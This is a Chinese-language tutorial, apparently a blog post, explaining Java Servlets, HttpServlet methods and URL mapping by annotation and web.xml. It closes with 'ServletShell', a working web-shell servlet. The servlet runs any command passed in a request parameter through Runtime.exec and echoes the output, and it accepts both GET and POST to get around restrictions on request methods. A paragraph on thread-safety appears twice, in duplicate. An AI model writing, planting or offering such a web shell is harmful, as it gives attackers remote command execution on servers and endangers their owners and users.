Servlet
Servlet 是基于 Java 的 Web 组件,就是我们常说的 Web 接口,例如 /hello,JSP 技术也是 Java Servlet 规范的一部分,JSP 文件解析之后也会成为 Servlet 提供 HTTP 服务,只不过它的接口是 JSP 文件名,例如 /app/hello.jsp。 Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
HttpServlet
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 /foo 即调用 CalculatorServlet 中对应的实现方法。
@WebServlet(”/foo”)
public class CalculatorServlet extends HttpServlet{
//...
}<servlet>
<servlet-name>foo</servlet-name>
<servlet-class>org.example.CalculatorServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>foo</servlet-name>
<url-pattern>/foo</url-pattern>
</servlet-mapping>ServletShell
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
- doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
- 交互的入口是
request.getParameter支持两种方式传参。GET/POST 请求发送/?paramName=whoami,也可以发送 POST 请求时使用application/x-www-form-urlencoded发送 body 参数。multipart/form-data是不支持从request.getParameter获取参数的。
public class CommandServlet extends HttpServlet {
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doPost(req, resp);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter(paramName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
}
}